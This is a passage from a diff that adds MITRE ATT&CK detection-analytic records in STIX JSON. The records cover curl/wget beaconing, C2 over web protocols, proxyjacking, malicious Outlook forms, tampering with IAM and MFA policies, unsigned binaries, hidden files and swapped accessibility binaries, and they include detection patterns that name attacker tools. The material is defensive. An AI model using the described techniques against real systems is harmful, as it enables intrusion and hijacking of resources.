+ } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0078", + "description": "Detects HTTP or HTTPS communication initiated by shell-based scripts or management daemons, especially those reaching public IPs over ports 80/443 using embedded curl or wget.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "SPAN or port-mirrored HTTP/S" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:shell", + "channel": "/root/.ash_history or /etc/init.d/*" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ShellScriptMatch", + "description": "Match on commands like `wget https://*`, `curl -s`" + }, + { + "field": "ExternalConnectionFilter", + "description": "Public IPs or external DNS hostnames" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1f1ed319-a6f9-4f30-9254-e0b1927a6bd9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0027#AN0079", + "external_id": "AN0079" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0079", + "description": "Detects Web protocol misuse such as encoded HTTP headers, WebSocket upgrade requests with abnormal payloads, or TLS handshake anomalies suggesting embedded C2 channels.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http.log, ssl.log, websocket.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HeaderEncodingPattern", + "description": "Base64, hex, or UTF-16 encoding in URI, cookie, or host" + }, + { + "field": "TLSFingerprintMismatch", + "description": "JA3 hash deviation from known clients" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c699a4ee-83dd-48d8-94ae-658204066ae9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0028#AN0080", + "external_id": "AN0080" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0080", + "description": "Processes invoking network-intensive child processes or uploading large data volumes, often from non-standard user or system contexts, with evidence of long-duration TCP/UDP sessions to unusual destinations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Bandwidth anomalies should be assessed over 5-15 min or hourly windows depending on environment size." + }, + { + "field": "DestinationCountry", + "description": "Some organizations whitelist traffic to countries based on geolocation." + }, + { + "field": "ProcessName", + "description": "Legitimate processes using high bandwidth (e.g., backup tools) must be excluded." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--10e9d109-0a17-41cd-9d0b-67c679bc94b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0028#AN0081", + "external_id": "AN0081" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0081", + "description": "User-initiated processes generating sustained outbound traffic over common or non-standard ports, often outside business hours, potentially linked to scanning or proxyjacking. Includes curl, wget, masscan, or proxy clients.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve calls with high-frequency or known bandwidth-intensive tools" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "large outbound data flows or long-duration connections" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ToolPattern", + "description": "Can be tuned for specific bandwidth abuse tools (e.g., proxychains, 3proxy)." + }, + { + "field": "TrafficRateThreshold", + "description": "Baseline deviation thresholds must be environment-specific." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--35a5d72b-6c69-498a-9118-14cd6c85a57a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0028#AN0082", + "external_id": "AN0082" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0082", + "description": "Suspicious long-lived or high-throughput connections by non-Apple signed apps or processes not commonly associated with network uploads. Detect background processes using open sockets for data egress.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "process + network metrics correlation for bandwidth saturation" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec or spawn calls to proxy tools or torrent clients" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessSignedStatus", + "description": "Non-signed or non-Apple signed binaries can raise confidence levels." + }, + { + "field": "DataRateThreshold", + "description": "Observed data rate per process over time (e.g., MB/s)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2fe9bf69-b1a8-4c60-8b20-c11054d31158", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0028#AN0083", + "external_id": "AN0083" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0083", + "description": "Containerized apps or sidecar containers generating excessive outbound traffic or being leveraged for proxy networks. Includes sudden increases in network interface stats, especially in dormant or low-util apps.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "containers:osquery", + "channel": "bandwidth-intensive command execution from within a container namespace" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "docker:stats", + "channel": "unusual network TX/RX byte deltas" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ContainerBaselineNetworkUsage", + "description": "Baseline per container must be defined by app purpose and normal traffic." + }, + { + "field": "ImageName", + "description": "Certain image names or registries may be prone to abuse (e.g., public image hosting mining or proxyware)." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b0d018e2-0384-4e27-92ed-c9b181999fa9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0028#AN0084", + "external_id": "AN0084" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0084", + "description": "Virtual instances or workloads generating sustained outbound data rates, often to TOR, VPN, or proxy endpoints. Often coincides with unusual IAM usage or deployed scripts (e.g., cron jobs using proxy clients).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", + "name": "AWS:CloudTrail", + "channel": "StartInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "AWS:VPCFlowLogs", + "channel": "egress > 90th percentile or frequent connection reuse" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InstanceType", + "description": "High-throughput instance types are more likely to be targeted for hijacking." + }, + { + "field": "TrafficEgressThreshold", + "description": "Customize detection thresholds based on cloud provider quotas or billing alerts." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--48cc1694-568f-4602-96e4-cbbe099c6dae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0029#AN0085", + "external_id": "AN0085" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0085", + "description": "Adversary uses a tool like Ruler to insert a malicious custom form into the user's Outlook mailbox. The form is designed to auto-execute on Outlook startup or on receipt of a specially crafted email. This results in child processes launched from outlook.exe and possibly network connections or payload loading.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "Outlook errors loading or processing custom form templates" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "Execution of Microsoft script to enumerate custom forms in Outlook mailbox" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FormStorageLocation", + "description": "Malicious forms may be stored in various user-specific locations in the Outlook mailbox (e.g., IPM.Note class)" + }, + { + "field": "ChildProcessName", + "description": "Child process spawned by outlook.exe may vary (e.g., powershell.exe, rundll32.exe, mshta.exe)" + }, + { + "field": "TimeWindow", + "description": "Form-triggered execution may happen immediately upon Outlook startup or with delay after crafted message arrival" + }, + { + "field": "OutlookVersion", + "description": "Form behavior and error logs may vary across Outlook 2013, 2016, and M365 builds" + }, + { + "field": "UserContext", + "description": "Attack may target only specific users; contextual correlation needed for account baselining" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--73ec21b3-5679-44a9-bac3-943060bed786", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0029#AN0086", + "external_id": "AN0086" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0086", + "description": "Outlook form execution upon message receipt or client launch results in automated code execution within user session. Form definitions deviate from standard templates and include script logic or COM object calls embedded in form fields.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Unusual form activity within Outlook client, including load of non-default forms" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "m365:messagetrace", + "channel": "Inbound email triggers execution of mailbox-stored custom form" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuditPolicyScope", + "description": "Not all tenants may enable audit logs of custom form activity or COM component usage in Office" + }, + { + "field": "MessageSenderAnomalyThreshold", + "description": "Ruler-style delivery may come from external accounts with forged headers or low reputation" + }, + { + "field": "FormExecutionRate", + "description": "Frequency of form triggers may be anomalously high compared to baseline Outlook usage" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b88f87d2-4a64-44a2-937e-85a929203843", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0030#AN0087", + "external_id": "AN0087" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0087", + "description": "Detects modifications to IAM conditions or policies that alter authentication behavior, such as adding permissive trusted IPs, removing MFA requirements, or changing regional access restrictions. Behavioral detection focuses on anomalous policy updates tied to privileged accounts and subsequent suspicious logon activity from previously blocked regions or devices.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "AWS:CloudTrail", + "channel": "PutUserPolicy, PutGroupPolicy, PutRolePolicy, CreatePolicyVersion" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredIAMConditions", + "description": "Specific condition keys (SourceIp, RequestedRegion, MFAAuthenticated) tuned per environment." + }, + { + "field": "TimeWindow", + "description": "Correlates policy modification with follow-on logins from newly permitted sources." + }, + { + "field": "PrivilegedAccounts", + "description": "List of administrative accounts to prioritize when monitoring for conditional access changes." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9eb2a081-e252-4009-a16e-90c9a85f70f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0030#AN0088", + "external_id": "AN0088" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0088", + "description": "Detects suspicious updates to conditional access or MFA enforcement policies in identity providers such as Entra ID, Okta, or JumpCloud. Focus is on removal of policy blocks, addition of broad exclusions, or registration of adversary-controlled MFA methods, followed by anomalous login activity that takes advantage of the modified policies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "azure:activity", + "channel": "Update conditionalAccessPolicy" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:okta", + "channel": "Conditional Access policy rule modified or MFA requirement disabled" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetedApplications", + "description": "Specific SaaS or cloud apps most sensitive to conditional access changes." + }, + { + "field": "RiskThresholds", + "description": "Risk scores or signals that may be tuned for anomaly detection in login behavior." + }, + { + "field": "UserContext", + "description": "Business roles or expected MFA patterns per user/group to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bf6b3f42-a7a5-4e6d-840a-e892aa74916c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0031#AN0089", + "external_id": "AN0089" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0089", + "description": "Execution of binaries with invalid digital signatures, where metadata claims code is signed but validation fails. Behavior is often correlated with suspicious parent processes or unexpected execution paths.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Windows Defender", + "channel": "Operational log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SignatureValidationResult", + "description": "Allow tuning to include 'invalid', 'expired', or 'untrusted root' based on environment tolerance" + }, + { + "field": "ParentProcessName", + "description": "Helps tune false positives by limiting to suspicious parent process executions" + }, + { + "field": "TimeWindow", + "description": "Defines correlation window between metadata check and process execution" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--35d9b6e6-aed8-4e9e-b6ee-e683d9c17fd0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0031#AN0090", + "external_id": "AN0090" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0090", + "description": "Binaries or applications executed with tampered or unverifiable code signatures. Often tied to Gatekeeper bypasses, App Translocation, or use of unsigned launch daemons by untrusted users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "subsystem:syspolicyd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fileevents", + "channel": "/var/log/install.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CodeSigningStatus", + "description": "Filters such as 'Unsigned', 'NotTrusted', or 'ModifiedSinceSigning' may vary by policy enforcement level" + }, + { + "field": "UserContext", + "description": "Tune whether detection applies to all users or excludes trusted admin accounts" + }, + { + "field": "ExecutablePathPrefix", + "description": "Enable tuning for known valid locations (e.g., /Applications) vs. suspicious paths (/Users/Shared)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4ea80ec4-bfcc-4bd6-b986-aa2c9fe2d8d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0032#AN0091", + "external_id": "AN0091" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0091", + "description": "Suspicious use of attrib.exe or PowerShell commands to set hidden attributes on files/directories. Defender view: processes modifying file attributes to 'hidden' or creating files with ADS (alternate data streams).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredExtensions", + "description": "Filter hidden file detection by sensitive file extensions (.exe, .dll, .bat)." + }, + { + "field": "ADSMonitoring", + "description": "Enable detection of alternate data streams depending on organizational usage." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c4108797-7eb4-4ef8-8dee-c2db00695ab4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0032#AN0092", + "external_id": "AN0092" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0092", + "description": "Creation of files or directories with a leading '.' in privileged directories (/etc, /var, /usr/bin). Defender view: monitoring auditd logs for file creations where name begins with '.' and correlated with unusual user/process context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:FILE", + "channel": "File creation with name starting with '.'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "Use of mv or cp to rename files with '.' prefix" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DirectoryScope", + "description": "Restrict detection to critical directories to avoid noise from benign hidden files like .ssh or .config." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--73931643-7fae-409c-98b3-00bd88e246e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0032#AN0093", + "external_id": "AN0093" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0093", + "description": "Use of chflags hidden or SetFile -a V commands to hide files, or creation of hidden files with leading '.'. Defender view: monitoring process execution and file metadata changes setting UF_HIDDEN attribute.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "Execution of chflags hidden or SetFile -a V" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "File metadata updated with UF_HIDDEN flag" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HiddenAttributeScope", + "description": "Restrict detection to non-standard directories where hidden flags are unexpected." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6b5b9cd2-f6ba-4ed5-bea2-30edbf85501e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0033#AN0094", + "external_id": "AN0094" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0094", + "description": "Defenders can observe suspicious replacement or tampering of system accessibility binaries (e.g., utilman.exe, sethc.exe, osk.exe) and anomalous modifications to registry keys used to redirect accessibility programs (such as IFEO keys). Additionally, execution of cmd.exe or other suspicious binaries triggered from the login screen by SYSTEM can be correlated as part of a behavior chain.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": 